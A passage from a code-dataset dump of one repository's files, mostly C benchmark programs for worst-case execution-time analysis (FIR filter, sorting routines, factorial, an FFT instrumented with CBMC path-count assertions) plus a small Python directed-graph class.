0 ==> __count_44_47 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_47_48 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_51_55 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_63 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_54_55 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_55_56 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_61_63 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_37_36 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_63 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_54_55 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_55_56 > 0); // Execution dependence\nassert(__count_44_47 > 0 ==> __count_61_63 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_37_36 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_63 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_54_55 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_55_56 > 0); // Execution dependence\nassert(__count_47_48 > 0 ==> __count_61_63 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_37_36 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_44_47 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_47_48 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_51_55 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_63 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_54_55 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_55_56 > 0); // Execution dependence\nassert(__count_47_49 > 0 ==> __count_61_63 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_37_36 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_63 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_54_55 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_55_56 > 0); // Execution dependence\nassert(__count_51_55 > 0 ==> __count_61_63 > 0); // Execution dependence\n#endif\n\n return exit_stat;\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * At least as many integers as the buffer size need to be supplied\n */\n if (argc != BUFFERSIZE + 1)\n {\n return 1;\n }\n \n int i;\n for (i = 0; i < argc - 1; ++i)\n {\n orig_text_buffer[i] = atoi (argv[i + 1]);\n }\n\n maxbits = BITS;\n maxmaxcode = 1 << maxbits; \n InCnt = BUFFERSIZE;\n apsim_InCnt = BUFFERSIZE + 3;\n InBuff = (unsigned char *) orig_text_buffer;\n OutBuff = (unsigned char *) comp_text_buffer;\n\n int val = compress();\n printf(\"%d\", val);\n \n return 0;\n}\n\n" }, { "alpha_fraction": 0.3526773154735565, "alphanum_fraction": 0.5756938457489014, "avg_line_length": 41.97590255737305, "blob_id": "d96def3c38ab3230ab25ad2dda13547fd2e87b75", "content_id": "93b3e136e3d7da944f371b356880693fb8ef2756", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7134, "license_type": "no_license", "max_line_length": 85, "num_lines": 166, "path": "/benchmarks/fir/fir.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Finite Impulse Respone (FIR) function taken from MDH suite and modified\n * by Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of ???\n */\n\n/**************************************************************************\n fir_filter_int - Filters int data array based on passed int coefficients.\n\n The length of the input and output arrays are equal and are allocated by the caller.\n The length of the coefficient array is passed.\n An integer scale factor (passed) is used to divide the accumulation result.\n\n in integer pointer to input array\n out integer pointer to output array\n in_len length of input and output arrays\n coef integer pointer to coefficient array\n coef_len length of coefficient array\n scale scale factor to divide after accumulation\n *************************************************************************/\n\nvoid\nfir_filter_int (long* in, long* out, long in_len, long* coef, long coef_len,\n long scale)\n{\n long i;\n long j;\n long coef_len2;\n long acc_length;\n long acc;\n long *in_ptr;\n long *data_ptr;\n long *coef_start;\n long *coef_ptr;\n long *in_end;\n\n /* set up for coefficients */\n coef_start = coef;\n coef_len2 = (coef_len + 1) >> 1;\n\n /* set up input data pointers */\n in_end = in + in_len - 1;\n in_ptr = in + coef_len2 - 1;\n\n /* initial value of accumulation length for startup */\n acc_length = coef_len2;\n\n for (i = 0; i < in_len; i++)\n {\n /* set up pointer for accumulation */\n data_ptr = in_ptr;\n coef_ptr = coef_start;\n\n /* do accumulation and write result with scale factor */\n acc = (long) (*coef_ptr++) * (*data_ptr--);\n for (j = 1; j < acc_length; j++)\n {\n acc += (long) (*coef_ptr++) * (*data_ptr--);\n }\n *out++ = (int) (acc / scale);\n\n /* check for end case */\n if (in_ptr == in_end)\n {\n acc_length--; /* one shorter each time */\n coef_start++; /* next coefficient each time */\n }\n else\n {\n /* if not at end, then check for startup, add to input pointer */\n if (acc_length < coef_len)\n {\n acc_length++;\n }\n in_ptr++;\n }\n }\n}\n\n/*--------------------------------------------------\n *---- INPUT DATA FOR TESTING\n *--------------------------------------------------*/\n\nlong in_data[701] =\n {0x0, 0x0, 0x0, 0x0, 0x7f, 0x79, 0x72, 0x79, 0xd, 0xd, 0x0, 0x3, 0x5, 0x2,\n 0x3, 0x7f, 0x7f, 0x2, 0x7e, 0x0, 0x1, 0x7e, 0x1, 0x1, 0x7f, 0x0, 0x7f,\n 0x0, 0x2, 0x1, 0x1, 0x3, 0x1, 0x7f, 0x1, 0x0, 0x1, 0x1, 0x7d, 0x7b, 0x73,\n 0x6a, 0x77, 0x10, 0xe, 0x1, 0x5, 0x5, 0x5, 0x5, 0x7d, 0x0, 0x2, 0x7d,\n 0x0, 0x0, 0x7e, 0x1, 0x7e, 0x7f, 0x3, 0x7c, 0x7e, 0x6, 0x0, 0x7e, 0x3,\n 0x2, 0x7f, 0x7e, 0x7f, 0x2, 0x1, 0x7f, 0x1, 0x1, 0x0, 0x3, 0x0, 0x7f,\n 0x2, 0x0, 0x7f, 0x3, 0x1, 0x0, 0x0, 0x7d, 0x0, 0x3, 0x0, 0x7e, 0x7f, 0x2,\n 0x1, 0x7e, 0x0, 0x3, 0x7f, 0x7d, 0x1, 0x1, 0x1, 0x7f, 0x0, 0x5, 0x0,\n 0x7f, 0x2, 0x7e, 0x7f, 0x2, 0x1, 0x0, 0x7e, 0x0, 0x5, 0x0, 0x7f, 0x0,\n 0x7e, 0x1, 0x0, 0x7d, 0x1, 0x3, 0x7f, 0x0, 0x0, 0x7e, 0x2, 0x3, 0x7e,\n 0x7d, 0x72, 0x68, 0x71, 0x5, 0xc, 0x7, 0x2, 0x6, 0xd, 0x5, 0x7d, 0x3,\n 0x2, 0x7f, 0x0, 0x79, 0x7a, 0x3, 0x7e, 0x7d, 0x0, 0x7d, 0x2, 0x1, 0x7d,\n 0x8, 0x3, 0x7c, 0x6, 0x0, 0x7a, 0x6, 0x2, 0x7c, 0x3, 0x7e, 0x79, 0x6,\n 0x5, 0x74, 0x7f, 0xd, 0x7a, 0x78, 0x6, 0x5, 0x1, 0x0, 0x7d, 0x1, 0x4,\n 0x7c, 0x7f, 0x3, 0x7f, 0x5, 0x3, 0x7a, 0x6, 0xa, 0x76, 0x7c, 0xa, 0x7c,\n 0x7f, 0x6, 0x79, 0x3, 0xc, 0x75, 0x78, 0xa, 0x0, 0x79, 0x3, 0x7e, 0x7c,\n 0x6, 0x0, 0x79, 0x2, 0x7e, 0x7f, 0x6, 0x76, 0x7f, 0xd, 0x79, 0x7f, 0x6,\n 0x79, 0x6, 0x3, 0x71, 0x6, 0xa, 0x73, 0x7f, 0xa, 0x0, 0x7f, 0x7a, 0x7c,\n 0xa, 0x0, 0x75, 0x7f, 0xc, 0xa, 0x7c, 0x79, 0x9, 0xd, 0x7d, 0x7a, 0x5,\n 0xb, 0xa, 0x79, 0x7c, 0x16, 0x3, 0x72, 0xd, 0x7, 0x79, 0xc, 0x7, 0x7a,\n 0xb, 0x7, 0x7a, 0xa, 0x7, 0x79, 0xa, 0x5, 0x75, 0x6, 0x5, 0x79, 0x5, 0x6,\n 0x1, 0x6, 0x0, 0x7a, 0x2, 0x7, 0x3, 0x7d, 0x1, 0xa, 0x7, 0x2, 0x7f, 0x7f,\n 0x9, 0x7, 0x79, 0x79, 0x6, 0x8, 0x7d, 0x7a, 0x6, 0xc, 0x6, 0x7d, 0x7f,\n 0xd, 0x7, 0x79, 0x1, 0x6, 0x7f, 0x7f, 0x2, 0x3, 0x1, 0x7e, 0x1, 0x1,\n 0x7d, 0x1, 0x0, 0x7d, 0x6, 0x3, 0x7d, 0x5, 0x7, 0x7f, 0x7c, 0x1, 0x6,\n 0x6, 0x7c, 0x7a, 0x7, 0xa, 0x0, 0x78, 0x1, 0x8, 0x0, 0x79, 0x7a, 0x4,\n 0xa, 0x0, 0x78, 0x1, 0x6, 0x7a, 0x75, 0x7a, 0x0, 0x0, 0x79, 0x76, 0x7f,\n 0x7, 0x0, 0x7a, 0x7d, 0x2, 0x4, 0x7c, 0x7a, 0x2, 0x5, 0x7c, 0x7a, 0x7d,\n 0x7f, 0x0, 0x78, 0x75, 0x7f, 0x0, 0x79, 0x78, 0x79, 0x1, 0x3, 0x79, 0x79,\n 0x0, 0x0, 0x7f, 0x7f, 0x79, 0x7f, 0x2, 0x7a, 0x7c, 0x7d, 0x7c, 0x7f,\n 0x7d, 0x79, 0x7d, 0x0, 0x79, 0x7a, 0x7c, 0x7d, 0x0, 0x7d, 0x7d, 0x0, 0x0,\n 0x0, 0x0, 0x7d, 0x7d, 0x0, 0x7d, 0x7e, 0x0, 0x7e, 0x3, 0x3, 0x7d, 0x1,\n 0x5, 0x0, 0x7e, 0x7d, 0x7f, 0x3, 0x7d, 0x79, 0x1, 0x2, 0x7d, 0x7f, 0x1,\n 0x0, 0x0, 0x7f, 0x7f, 0x7e, 0x7f, 0x0, 0x7f, 0x0, 0x7c, 0x7d, 0x0, 0x79,\n 0x78, 0x7c, 0x7c, 0x7b, 0x7b, 0x7d, 0x7f, 0x0, 0x0, 0x7f, 0x0, 0x1, 0x2,\n 0x0, 0x7f, 0x0, 0x0, 0x0, 0x7f, 0x7e, 0x0, 0x0, 0x7f, 0x0, 0x2, 0x1, 0x2,\n 0x6, 0x5, 0x3, 0x6, 0x8, 0x5, 0x2, 0x1, 0x1, 0x3, 0x0, 0x7d, 0x7f, 0x0,\n 0x7f, 0x7e, 0x0, 0x2, 0x3, 0x2, 0x1, 0x2, 0x3, 0x1, 0x7c, 0x7d, 0x0, 0x0,\n 0x7e, 0x7c, 0x7f, 0x1, 0x0, 0x7e, 0x7c, 0x7f, 0x1, 0x0, 0x7e, 0x7f, 0x2,\n 0x3, 0x1, 0x0, 0x4, 0x6, 0x5, 0x6, 0x7, 0xa, 0xa, 0x4, 0x2, 0x5, 0x8,\n 0x9, 0x8, 0x7, 0xc, 0x14, 0x14, 0x10, 0xe, 0x14, 0x15, 0xf, 0x9, 0x7,\n 0x4, 0x7e, 0x76, 0x64, 0x41, 0x48, 0x7d, 0x6c, 0x3d, 0x67, 0x10, 0x6,\n 0x7d, 0x75, 0x7, 0x1d, 0x0, 0x6c, 0x2, 0x7d, 0x78, 0x77, 0x6f, 0x77, 0x1,\n 0x0, 0x2, 0x7, 0xa, 0x1c, 0x1c, 0x17, 0x23, 0x2f, 0x41, 0x43, 0x4f, 0x55,\n 0x58, 0x7e, 0x2, 0x4c, 0x10, 0x69, 0x2c, 0xd, 0x74, 0x2a, 0x74, 0x63,\n 0x29, 0x7c, 0x5e, 0x21, 0x35, 0x46, 0x24, 0x67, 0x35, 0x3c, 0x3c, 0x26,\n 0x26, 0x2f, 0x47, 0x64, 0x4, 0x13, 0x18, 0x27, 0x2b, 0x30, 0x1b, 0x7f,\n 0x78, 0x72, 0x68, 0x5c, 0x5a, 0x68, 0x7c, 0x3, 0xd, 0x26, 0x41, 0x51,\n 0x5a, 0x6a, 0x6c, 0x54, 0x78, 0x9, 0x45, 0x79, 0x1f, 0xb, 0x2e, 0x60,\n 0xb, 0x66, 0x7f, 0x68, 0x77, 0x4e, 0x46, 0x4a, 0x3b, 0x12, 0x5b, 0x37,\n 0x31, 0x21, 0xb, 0x12, 0x2e, 0x57, 0x7e, 0x19, 0x22, 0x2b, 0x3f, 0x3a,\n 0x25, 0xb, 0x79, 0x71, 0x68, 0x61, 0x5c, 0x66, 0x72, 0x6, 0x16, 0x29,\n 0x41, 0x5e, 0x6d, 0x66, 0x60, 0x6e, 0x17, 0x48, 0x36, 0x12, 0x17, 0x2f,\n 0x63, 0x78, 0x5c, 0x77, 0x6c, 0x75, 0x41, 0x49, 0x4f, 0x3b, 0xb, 0x54,\n 0x37, 0};\n\nint\nmain (int argc, char *argv[])\n{\n const int OUTSIZE = 720;\n long output[OUTSIZE];\n\n long fir_int[36] =\n {0xfffffffe, 0x1, 0x4, 0x3, 0xfffffffe, 0xfffffffc, 0x2, 0x7, 0x0,\n 0xfffffff7, 0xfffffffc, 0xc, 0xb, 0xfffffff2, 0xffffffe6, 0xf, 0x59,\n 0x7f, 0x59, 0xf, 0xffffffe6, 0xfffffff2, 0xb, 0xc, 0xfffffffc,\n 0xfffffff7, 0x0, 0x7, 0x2, 0xfffffffc, 0xfffffffe, 0x3, 0x4, 0x1,\n 0xfffffffe, 0};\n\n /*\n * Two integer values must be supplied\n */\n if (argc != 3)\n {\n return 1;\n }\n\n fir_filter_int (in_data, output, 10, fir_int, 35, 285);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.47948163747787476, "alphanum_fraction": 0.49316054582595825, "avg_line_length": 14.965517044067383, "blob_id": "a120248d6d9bc249757ee3d1f2548f4ae23cb239", "content_id": "5fb78934481915a3a12252b2e4e2e26854846aad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1389, "license_type": "no_license", "max_line_length": 75, "num_lines": 87, "path": "/benchmarks/cocktailsort/cocktailsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Cocktail sort (also known as bidirectional bubble sort) which consumes a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\n#define FALSE 0\n#define TRUE 1\n\nvoid\ncocktailsort (int ARRAY_SIZE, int a[])\n{\n int begin = -1;\n int end = ARRAY_SIZE;\n int swapped;\n int i;\n int tmp;\n\n while (begin < end)\n {\n swapped = FALSE;\n begin = begin + 1;\n end = end - 1;\n\n for (i = begin; i < end; ++i)\n {\n if (a[i + 1] < a[i])\n {\n tmp = a[i];\n a[i] = a[i + 1];\n a[i + 1] = tmp;\n swapped = TRUE;\n }\n }\n\n if (swapped == FALSE)\n {\n break;\n }\n\n swapped = FALSE;\n\n for (i = end; --i >= begin;)\n {\n if (a[i + 1] < a[i])\n {\n tmp = a[i];\n a[i] = a[i + 1];\n a[i + 1] = tmp;\n swapped = TRUE;\n }\n }\n\n if (swapped == FALSE)\n {\n break;\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n cocktailsort (ARRAY_SIZE, TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5719625949859619, "alphanum_fraction": 0.5850467085838318, "avg_line_length": 13.052631378173828, "blob_id": "24c19a4aaef5879f568c70fa1adcc5346554c1bd", "content_id": "4c8ee8a5c8fd6b683bed4777475e481a8da59289", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 535, "license_type": "no_license", "max_line_length": 69, "num_lines": 38, "path": "/benchmarks/factorial/factorial.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Factorial taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, a one-element test vector is expected, the\n * factorial of which will be computed.\n */\n\nint\nfactorial (int n)\n{\n if (n == 0)\n {\n return 1;\n }\n else\n {\n return (n * factorial (n - 1));\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n int fac;\n\n /*\n * One integer value must be supplied\n */\n if (argc != 2)\n {\n return 1;\n }\n\n fac = factorial (atoi (argv[1]));\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5569837093353271, "alphanum_fraction": 0.5604113340377808, "avg_line_length": 26.046510696411133, "blob_id": "b00150c41d99d1f5cf8a2e5a04a999f76c01ef09", "content_id": "4c5aec09d40164346d4ca8b97b55644620bf5017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 92, "num_lines": 43, "path": "/GPUTimingAnalysis/src/DirectedGraphs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "dummyVertexID = -1\n\nclass DirectedGraph (): \n def __init__ (self):\n self.vertices = {}\n self.__name = None\n \n def setName (self, name):\n self.__name = name\n \n def getName (self):\n return self.__name\n \n def getVertex (self, vertexID):\n assert vertexID in self.vertices, \"Vertex \" + str(vertexID) + \" is not in the graph\"\n return self.vertices[vertexID]\n \n def hasVertex (self, vertexID):\n return vertexID in self.vertices\n \n def addEdge (self, predID, succID):\n predv = self.getVertex(predID)\n succv = self.getVertex(succID)\n predv.addSuccessor(succID)\n succv.addPredecessor(predID)\n \n def getNextVertexID (self):\n nextID = 0\n while nextID in self.vertices.keys():\n nextID = nextID + 1 \n return nextID\n \n def numOfVertices (self):\n return len(self.vertices)\n \n def numOfEdges(self):\n total = 0\n for v in self.vertices.values():\n total += v.numberOfSuccessors()\n return total\n \n def __iter__ (self):\n return self.vertices.values().__iter__()\n " }, { "alpha_fraction": 0.4359838366508484, "alphanum_fraction": 0.4460916519165039, "avg_line_length": 13.549019813537598, "blob_id": "6c319723076268850e12a7f1ab2d471e4438ec27", "content_id": "6c7a440f2c1c7e6f44a4216b0ec4ed8cd7fb1354", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1484, "license_type": "no_license", "max_line_length": 75, "num_lines": 102, "path": "/benchmarks/mergesort/mergesort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Merge sort which consumes a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\n#include <stdio.h>\n\nint\nmerge (int ARRAY_SIZE, int a[], int b[], int l, int r, int u)\n{\n int i = l;\n int j = r;\n int k = l;\n\n while (i < r && j < u)\n {\n if (a[i] <= a[j])\n {\n b[k] = a[i];\n i++;\n }\n else\n {\n b[k] = a[j];\n j++;\n }\n k++;\n }\n while (i < r)\n {\n b[k] = a[i];\n i++;\n k++;\n }\n while (j < u)\n {\n b[k] = a[j];\n j++;\n k++;\n }\n for (k = l; k < u; k++)\n {\n a[k] = b[k];\n }\n}\n\nvoid\nmergesort (int ARRAY_SIZE, int a[])\n{\n int k = 1;\n int u;\n int i;\n int b[ARRAY_SIZE];\n\n while (k < ARRAY_SIZE)\n {\n i = 1;\n while (i + k <= ARRAY_SIZE)\n {\n u = i + k * 2;\n if (u > ARRAY_SIZE)\n {\n u = ARRAY_SIZE + 1;\n }\n merge (ARRAY_SIZE, a, b, i, i + k, u);\n i = i + k * 2;\n }\n k = k * 2;\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n mergesort (ARRAY_SIZE, TV);\n\n for (i = 0; i < ARRAY_SIZE; i++)\n printf (\"%d \", TV[i]);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.4397260248661041, "alphanum_fraction": 0.4497717022895813, "avg_line_length": 14.755395889282227, "blob_id": "1976878230bf5b8ce70d9297a72b900813ef313b", "content_id": "e69903ac41f18129d567df4463b93dfa40eda092", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2190, "license_type": "no_license", "max_line_length": 84, "num_lines": 139, "path": "/benchmarks/quicksort/quicksort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Quick sort taken from http://jeffreystedfast.blogspot.com/2007/03/quick-sort.html\n * and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\ntypedef struct qstack\n{\n int lo;\n int hi;\n} qstack_t;\n\nvoid\nquicksort (int ARRAY_SIZE, int a[])\n{\n qstack_t stack[32];\n qstack_t *sp;\n int lo;\n int hi;\n int low;\n int high;\n int pivot;\n int tmp;\n\n if (ARRAY_SIZE < 2)\n {\n return;\n }\n\n /* push our initial values onto the stack */\n sp = stack;\n sp->lo = 0;\n sp->hi = ARRAY_SIZE;\n sp++;\n\n while (sp > stack)\n {\n /* pop lo and hi off the stack */\n sp--;\n high = sp->hi;\n low = sp->lo;\n\n hi = high - 1;\n lo = low;\n\n pivot = a[lo];\n\n while (1)\n {\n while (lo < high && a[lo] < pivot)\n {\n lo++;\n }\n\n while (hi > low && a[hi] >= pivot)\n {\n hi--;\n }\n\n if (lo < hi)\n {\n /* swap */\n tmp = a[lo];\n a[lo] = a[hi];\n a[hi] = tmp;\n hi--;\n }\n else\n {\n hi++;\n\n if (hi == high)\n {\n /* done with this segment */\n break;\n }\n\n /* push the larger segment onto the\n * stack and continue sorting the\n * smaller segment. */\n if ((hi - low) > (high - hi))\n {\n sp->lo = low;\n sp->hi = hi;\n sp++;\n\n hi = high;\n low = lo;\n }\n else\n {\n sp->hi = high;\n sp->lo = hi;\n sp++;\n\n high = hi;\n lo = low;\n }\n\n pivot = a[lo];\n hi--;\n }\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n quicksort (ARRAY_SIZE, TV);\n\n for (i = 0; i < argc - 1; ++i)\n {\n printf(\"%d \", TV[i]);\n }\n\n return 0;\n}\n" }, { "alpha_fraction": 0.44613099098205566, "alphanum_fraction": 0.5389074087142944, "avg_line_length": 36.249664306640625, "blob_id": "d961b5f31338de6e69da949f7c3ca02065fd5c8f", "content_id": "20f04e1edd6ae3d2e98e98061c9e748c02bf4def", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 27604, "license_type": "no_license", "max_line_length": 75, "num_lines": 741, "path": "/DaikonPathInformation/benchmarks/fft.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*************************************************************************/\n/* */\n/* SNU-RT Benchmark Suite for Worst Case Timing Analysis */\n/* ===================================================== */\n/* Collected and Modified by S.-S. Lim */\n/* [email protected] */\n/* Real-Time Research Group */\n/* Seoul National University */\n/* */\n/* */\n/* < Features > - restrictions for our experimental environment */\n/* */\n/* 1. Completely structured. */\n/* - There are no unconditional jumps. */\n/* - There are no exit from loop bodies. */\n/* (There are no 'break' or 'return' in loop bodies) */\n/* 2. No 'switch' statements. */\n/* 3. No 'do..while' statements. */\n/* 4. Expressions are restricted. */\n/* - There are no multiple expressions joined by 'or', */\n/* 'and' operations. */\n/* 5. No library calls. */\n/* - All the functions needed are implemented in the */\n/* source file. */\n/* */\n/* */\n/*************************************************************************/\n/* */\n/* FILE: fft1.c */\n/* SOURCE : Turbo C Programming for Engineering by Hyun Soon Ahn */\n/* */\n/* DESCRIPTION : */\n/* */\n/* FFT using Cooly-Turkey algorithm. */\n/* There are two inputs, ar[] and ai[]. ar[] is real number parts */\n/* of input array and the ai[] is imaginary number parts of input. */\n/* The function fft1 process FFT or inverse FFT according to the .*/\n/* parameter flag. (FFT with flag=0, inverse FFT with flag=1). */\n/* */\n/* */\n/* REMARK : */\n/* */\n/* EXECUTION TIME : */\n/* */\n/* */\n/*************************************************************************/\n\n\n#define PI 3.14159\n#define ARRAY_SIZE 8\n\ndouble realArray[ARRAY_SIZE];\ndouble imaginaryArray[ARRAY_SIZE] = {0., };\n\nstatic double \nfabs (double n)\n{\n#ifdef CBMC\n//==========> fabs : header 51\nint __count_54 = 0;\nint __count_51_52 = 0;\nint __count_51_53 = 0;\n#endif\n if (n >= 0)\n {\n #ifdef CBMC\n __count_51_52++;\n #endif\n // 52\n #ifdef CBMC\n __count_54++;\n #endif\n\n#ifdef CBMC\nassert(__count_51_52 <= 1); // Upper capacity constraint\nassert(__count_51_53 <= 1); // Upper capacity constraint\nassert(__count_54 >= 1); // Lower capacity constraint\nassert(__count_54 <= 1); // Upper capacity constraint\nassert(__count_51_52 > 0 ==> __count_54 > 0); // Execution dependence\nassert(__count_51_53 > 0 ==> __count_54 > 0); // Execution dependence\n#endif\n\n return n;\n }\n else\n {\n #ifdef CBMC\n __count_51_53++;\n #endif\n // 53\n #ifdef CBMC\n __count_54++;\n #endif\n\n#ifdef CBMC\nassert(__count_51_52 <= 1); // Upper capacity constraint\nassert(__count_51_53 <= 1); // Upper capacity constraint\nassert(__count_54 >= 1); // Lower capacity constraint\nassert(__count_54 <= 1); // Upper capacity constraint\nassert(__count_51_52 > 0 ==> __count_54 > 0); // Execution dependence\nassert(__count_51_53 > 0 ==> __count_54 > 0); // Execution dependence\n#endif\n\n return -n;\n }\n}\n\nstatic double \nlog(double n)\n{\n#ifdef CBMC\n//==========> log : header 55\nint __count_55 = 0;\n#endif\n #ifdef CBMC\n __count_55++;\n #endif\n\n#ifdef CBMC\nassert(__count_55 >= 1); // Lower capacity constraint\nassert(__count_55 <= 1); // Upper capacity constraint\n#endif\n\n return 4.5;\n}\n\nstatic double \nsin (double rad)\n{\n#ifdef CBMC\n//==========> sin : header 48\nint __count_48_49 = 0;\nint __count_48_49_L = 0; //Loop counter\n//==========> sin : header 45\nint __count_45_44 = 0;\nint __count_45_44_L = 0; //Loop counter\n//==========> sin : header 42\nint __count_42_41 = 0;\nint __count_42_41_L = 0; //Loop counter\n//==========> sin : header 40\nint __count_50 = 0;\nint __count_42_43 = 0;\n#endif\n double app;\n\n double diff;\n int inc = 1;\n int counter =0;\n\n #ifdef CBMC\n __count_42_41_L = 0;\n #endif\n while (rad > 2*PI) // 42\n\t{\n #ifdef CBMC\n __count_42_41++;\n __count_42_41_L++;\n #endif\n rad -= 2*PI;\n }\n #ifdef CBMC\n assert(__count_42_41_L <= 1); // Loop counter property\n __count_42_43++;\n #endif\n\n while (rad < -2*PI) // 45\n {\n #ifdef CBMC\n __count_45_44++;\n __count_45_44_L++;\n #endif\n rad += 2*PI;\n }\n app = diff = rad;\n diff = (diff * (-(rad*rad))) /\n ((2.0 * inc) * (2.0 * inc + 1.0));\n app = app + diff;\n inc++;\n\n #ifdef CBMC\n __count_48_49_L = 0;\n #endif\n while(\n (\n#ifdef CBMC\n (__count_48_49_L++,\n __count_48_49++),\n#endif\n fabs(diff)\n ) >= 0.00001) { // 48, 49\n counter++;\n diff = (diff * (-(rad*rad))) /\n ((2.0 * inc) * (2.0 * inc + 1.0));\n app = app + diff;\n inc++;\n }\n #ifdef CBMC\n assert(__count_48_49_L <= 8); // Loop counter property\n __count_50++;\n #endif\n\n#ifdef CBMC\nassert(__count_42_41 == 0); // Dead code\nassert(__count_50 >= 1); // Lower capacity constraint\nassert(__count_50 <= 1); // Upper capacity constraint\nassert(__count_48_49 >= 1); // Lower capacity constraint\nassert(__count_48_49 <= 7); // Upper capacity constraint\nassert(__count_42_43 >= 1); // Lower capacity constraint\nassert(__count_42_43 <= 1); // Upper capacity constraint\nassert(__count_45_44 == 0); // Dead code\n#endif\n\n return(app);\n}\n\nstatic double \ncos (double rad)\n{\n#ifdef CBMC\n//==========> cos : header 1\nint __count_2 = 0;\nint __count_1_2 = 0;\n#endif\n double sin();\n\n #ifdef CBMC\n __count_1_2++;\n __count_2++;\n #endif\n\n#ifdef CBMC\nassert(__count_2 >= 1); // Lower capacity constraint\nassert(__count_2 <= 1); // Upper capacity constraint\nassert(__count_1_2 >= 1); // Lower capacity constraint\nassert(__count_1_2 <= 1); // Upper capacity constraint\n#endif\n\n return (sin (PI / 2.0 - rad));\n}\n\nint \nfft (int n, int flag)\n{\n#ifdef CBMC\n//==========> fft : header 19\nint __count_19_18 = 0;\nint __count_19_18_L = 0; //Loop counter\n//==========> fft : header 30\nint __count_30_29 = 0;\nint __count_30_29_L = 0; //Loop counter\n//==========> fft : header 21\nint __count_19_20 = 0;\nint __count_21_15 = 0; //Loop counter\n//==========> fft : header 32\nint __count_25_26 = 0;\nint __count_25_27 = 0;\nint __count_32_25 = 0; //Loop counter\n//==========> fft : header 23\nint __count_21_22 = 0;\nint __count_23_14 = 0; //Loop counter\n//==========> fft : header 9\nint __count_9_8 = 0;\nint __count_9_8_L = 0; //Loop counter\n//==========> fft : header 37\nint __count_37_36 = 0;\nint __count_37_36_L = 0; //Loop 